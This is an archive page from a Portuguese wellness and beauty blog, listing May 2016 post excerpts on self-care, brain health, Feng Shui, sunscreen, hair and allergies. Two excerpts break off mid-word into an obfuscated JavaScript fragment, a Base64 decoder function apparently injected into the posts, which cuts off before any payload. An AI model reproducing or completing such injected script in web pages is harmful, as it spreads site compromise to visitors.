Mai 26, 2016 | Equilíbrio, Saúde e bem estar
por Manuela Nunes Cuide de si! É imprescindível que reserve tempo para cuidar de si. Mesmo que não disponha de uma semana de férias para se mimar, há receitas que pode executar rapidamente e sem sair de casa. Há soluções rápidas e outras que vai querer experimentar...
Mai 25, 2016 | Equilíbrio, Saúde e bem estar
10 segredos para manter o cérebro jovem e activo por Vasco Catarino Soares, neuropsicólogo Durante a infância e a adolescência, o nosso cérebro é inundado por estímulos que o fazem desenvolver-se e tornar-se um órgão activo. Nestas idades, de forma natural, o ser...
Mai 24, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
O Feng Shui é uma ferramenta de trabalho para criar e organizar espaços harmoniosos e adequados às necessidades de quem os utiliza, mas é também uma ferramenta que nos ajuda a olhar para a nossa vida e tudo o que dela faz parte. A verdade é que nesta vida não somos...
Mai 23, 2016 | Equilíbrio, Estilo e beleza, Zen Energy
Bye bye, pontos fracos! Como disfarçar os pontos fracos no corpo? por Beatriz Palma, consultora de imagem Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 21, 2016 | Equilíbrio, Saúde e bem estar
Por Lillian Barros Se a sua preocupação estes dias quentes é o que levar para a praia sem pôr em risco os resultados de uma alimentação cuidada e equilibrada ao longo do ano, então, deixo-lhe algumas dicas para snacks, lanches e, até mesmo, algumas refeições que...
Mai 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3, Teresa
Já todos sabem que sou regrada na minha alimentação, que faço exercício e que me cuido. Mas qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 20, 2016 | Equilíbrio, Saúde e bem estar
Como escolher o seu protetor solar? Os últimos dias têm sido de muito calor e já há no ar um cheirinho a verão ou a época-em-que-todos-queremos-um-bronzeado-deslumbrante, certo? ? Nestes dias de sol devemos ter cuidados redobrados e aplicar sempre um protetor solar...
Mai 18, 2016 | Equilíbrio, Sugestões
Por Margarida Vieitez É possível saber se o seu namorado, companheira, amigo, familiar ou colega de trabalho gosta de si? Quantas vezes já fez esta pergunta a si mesmo? E quantas voltas já deu à sua cabeça para encontrar a resposta? Pode não ser mesmo nada fácil...
Mai 16, 2016 | Equilíbrio, Estilo e beleza
Todas nós adoramos os dias mais quentes. O sol regressou e já apetece ir à praia. Saiba que cuidados deve ter para conseguir um cabelo lindo e saudável. Foto: yourhaircolors Foto: cdn Mantenha o cabelo e o couro cabeludo sempre limpos: Com o calor suamos mais, por...
Mai 12, 2016 | Equilíbrio, Saúde e bem estar, Teresa, Zen Energy
Calcula-se que 3 em cada 10 pessoas sofram de algum tipo de alergia, uma proporção que curiosamente tem vindo a aumentar vertiginosamente nas últimas décadas, sobretudo nos países desenvolvidos. As alergias são o resultado da combinação de factores ambientais,...
